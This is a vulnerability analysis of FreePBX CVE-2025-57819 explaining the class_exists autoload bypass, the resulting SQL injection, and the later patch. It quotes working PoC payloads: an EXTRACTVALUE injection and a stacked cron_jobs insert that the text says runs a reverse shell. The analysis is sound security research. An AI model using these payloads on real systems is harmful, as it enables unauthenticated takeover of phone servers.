The dispatcher's security check loads the file the attacker named.
/admin/ajax.php is the entry script. Pre-patch, it does almost nothing before handing off:
if (!isset($_REQUEST['module'])) {
$module = "framework";
} else {
$module = $_REQUEST['module'];
}
// session_start, freepbx.conf bootstrap...
$bmo->Ajax->doRequest($module, $command);
$module arrives uninspected. The BMO dispatcher in libraries/BMO/Ajax.class.php opens with what reads as a security check:
public function doRequest($module = null, $command = null) {
if (!$module || !$command) {
throw new \Exception("Module or Command were null. Check your code.");
}
if (class_exists(ucfirst($module)) && $module != "directory") {
throw new \Exception("The class $module already existed. Ajax MUST load it, for security reasons");
}
// ...
}
The author's intent is in the throw message. A module class that already exists at this point was loaded by code the dispatcher does not control, and the dispatcher refuses to dispatch into a class it did not load itself. The check is meant to keep pre-loaded BMO classes from being abused as gadgets.
class_exists in PHP takes a second parameter, bool $autoload = true, omitted here. With the default, class_exists runs every registered SPL autoloader against the requested class name before returning. The function is named for what it returns. The function is documented to load classes during the check.
FreePBX registers exactly one autoloader, in admin/functions.inc.php:
spl_autoload_register('fpbx_framework_autoloader');
fpbx_framework_autoloader is in the same file:
function fpbx_framework_autoloader($class) {
// ...
if (stripos($class, 'FreePBX\\modules\\') === 0) {
$req = substr($class, 16);
$modarr = explode('\\', $req);
if (!isset($modarr[1])) {
return;
}
$moddir = \FreePBX::Config()->get('AMPWEBROOT')
."/admin/modules/".strtolower(array_shift($modarr))."/";
$filepath = $moddir.join("/", $modarr).".php";
if (file_exists($filepath)) {
include $filepath;
}
return;
}
// ...
}
The mechanics: strip the FreePBX\modules\ prefix from the class name, split the remainder on \, treat the first component as a directory name under AMPWEBROOT/admin/modules/, treat the joined rest as a .php file under that directory, include if the file exists.
Send module=FreePBX\modules\endpoint\ajax to the dispatcher. The dispatcher reaches class_exists("FreePBX\modules\endpoint\ajax"). PHP, finding no such class loaded, calls fpbx_framework_autoloader("FreePBX\modules\endpoint\ajax"). The autoloader strips the prefix, splits, and includes /var/www/html/admin/modules/endpoint/ajax.php. That file is the standalone request handler shipped with the commercial Endpoint Manager module. It does not call any FreePBX authentication helper. It reads $_REQUEST['command'] and $_REQUEST['brand'], concatenates brand into a SQL query, echoes a JSON response, and exits.
The dispatcher's Referer check, in the same file, sits at line 78:
if($this->settings['allowremote'] !== true && $this->freepbx->Config->get('CHECKREFERER')) {
if (!isset($_SERVER['HTTP_REFERER'])) {
$this->ajaxError(403, 'ajaxRequest declined - Referrer');
}
// ...
}
That code does not run. The class_exists call on line 38 of the same file completed before the line 78 check was reached, and the autoloader that call invoked sent the response and exited the process. Everything after class_exists is documentation of what the dispatcher would have checked if it had been given the chance to.
The brand parameter is an EXTRACTVALUE-shaped error-based primitive with stacked-query writes.
The endpoint module's standalone ajax.php builds a SQL query in which $_REQUEST['brand'] is interpolated as a bare string. The b4sh2 PoC confirms the shape:
def _send(self, inject):
params = {
"module": r"FreePBX\modules\endpoint\ajax",
"command": "model",
"template": "x",
"model": "model",
"brand": inject,
}
return self.s.get(self.url, params=params, timeout=20).text
def _error_value(self, subquery):
body = self._send(f"x' AND EXTRACTVALUE(1,CONCAT(0x7e,({subquery}),0x7e))-- -")
m = self.ERR_RE.search(body)
return m.group(1) if m else None
Single-quote terminated, comment delimited. MySQL's EXTRACTVALUE returns the offending second argument inside the resulting XPath-syntax error string. The endpoint module's JSON error wrapper echoes the database error verbatim. One request per twenty-byte chunk reads any column from any table the database user can see.
Error-based exfiltration is the conservative half of the primitive. The endpoint module's mysqli driver is connected with multi-query support, so the injection accepts stacked statements. The b4sh2 PoC walks the second half:
inject = (
"x';INSERT INTO cron_jobs "
"(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) "
f"VALUES ('sysadmin','{job}','{cmd}',NULL,'* * * * *',30,1,1)-- -"
)
The row goes into the cron_jobs table FreePBX's cron manager reads. The cron manager executes the command column as a shell command at the next minute boundary. The PoC's command is a bash reverse shell. The PoC's cleanup is a follow-up DELETE FROM cron_jobs issued through the same SQLi sink after the listener catches the connection.
This is the unauth-write-to-execution-path shape with the execution path being a database table rather than a webroot. The three architectural decisions still compose: a write reachable without authentication (the SQLi sink in endpoint/ajax.php, made unauthenticated by the dispatcher's autoload side effect), a destination the server later reads as code (the cron daemon's job table, scanned every minute), and no validation of the destination's contents (the command column is a free-form string the cron driver hands to a shell). The Pix-for-WooCommerce instance of this pattern wrote PHP files into a webroot served by mod_php. FreePBX writes a shell command into the row a * * * * * schedule runs. The substrate is the same.
The watchTowr detection PoC takes a parallel route, writing a PHP webshell to /var/www/html/ by piping a base64-decoded payload from the cron command into the webroot. The 0xEhab PoC inserts a new admin into the ampusers table via the same stacked-write primitive, authenticates as that user, and chains the authenticated-only CVE-2025-61678 path-traversal upload for the same outcome. Three exploit modes against one primitive.
The "shortest fix" is in the dispatcher, not in the autoloader.
Sangoma's GHSA-m42g-xg4c-5f3h advisory shipped on August 28, 2025. The fixed endpoint-module versions (15.0.66, 16.0.89, 17.0.3) close the SQLi sink in the commercial endpoint/ajax.php. Two weeks later, on September 11, 2025, framework commit cd26bb1 landed in the BMO dispatcher. The commit message, in full:
Shortest fix for validating AJAX module parameter.
The diff:
if (!isset($_REQUEST['module'])) {
$module = "framework";
+} elseif(!preg_match('/^[\w-]{3,99}$/', $_REQUEST['module'])) {
+ header("HTTP/1.1 501 Not Implemented");
+ die();
} else {
$module = $_REQUEST['module'];
}
\w in PCRE is [A-Za-z0-9_]. The regex forbids backslashes. The namespace-form payload FreePBX\modules\endpoint\ajax no longer reaches the dispatcher; PHP returns 501 before doRequest is called. The endpoint module's SQLi sink is no longer reachable by this path on any framework installation past 17.0.20.
What the patch does not change: class_exists on line 38 of Ajax.class.php still runs with $autoload = true. The fpbx_framework_autoloader still includes any matching .php file under admin/modules/<x>/<y>.php when called with a FreePBX\modules\<x>\<y> class name. The check still runs before the dispatcher's Referer-and-session check, in the same order. The mechanism is intact; only one of the inputs to it is filtered.
The commit message is honest about its scope. The shortest fix is not the most thorough fix. The shortest fix moves the gate from "no validation" to "reject the parameter unless it matches a strict pattern." It does not change the dispatcher's pre-auth code path, and it does not change the fact that, in a different module, a different standalone ajax.php with a different SQL sink would still be reachable as a side effect of a defensive call to class_exists.
The CVE is post-hoc documentation of a thing that had already happened.
Horizon3's writeup names the in-wild date: on or before August 21, 2025. Sangoma's advisory published seven days later. The framework "shortest fix" landed twenty-one days after the in-wild observation, fourteen days after the advisory, in a separate commit by a separate engineer.
This is the disclosure-after-exploitation pattern with a two-stage advisory. The August 28 advisory closed the demonstrated SQL injection sink in the commercial endpoint module. The September 11 framework commit closed the family of primitives the same module-parameter trick could reach. The advisory did not enumerate that family because the advisory was about the commercial endpoint module, not about the dispatcher that delivered traffic to it. Customers who applied the August advisory had the endpoint sink closed; the autoload-via-class_exists primitive remained in the dispatcher for two more weeks, available against any standalone .php file shipped by any installed module under any name. The same pattern surfaced in SolarWinds Serv-U the following spring: the patch addressed the path to the sink, the workaround addressed the path to the sink, and the sink itself was not closed.
The CVE record describes "insufficiently sanitized user-supplied data" in the endpoint module. It does not describe class_exists. It does not describe the autoloader. It does not describe the dispatcher's ordering. The 0xEhab PoC chains CVE-2025-57819 with CVE-2025-61678 against the same module in a single network conversation; two CVEs filed against the same component in the same month, exploitable in series from one unauthenticated entry. The CVSS-v4.0 score of 10.0 is calibrated against one of them.
The check was the include.
The dispatcher's first defensive step was the dispatcher's first executable code path. class_exists was called for the value it returns. The autoloader ran for the side effect it performs. The Referer check sits below both, in the same file, on a line that was never reached.
PoCs: b4sh2/CVE-2025-57819-poc, 0xEhab/FreePBX-CVE-2025-57819-RCE.
The check was named for what it returns. The check shipped for what it triggers.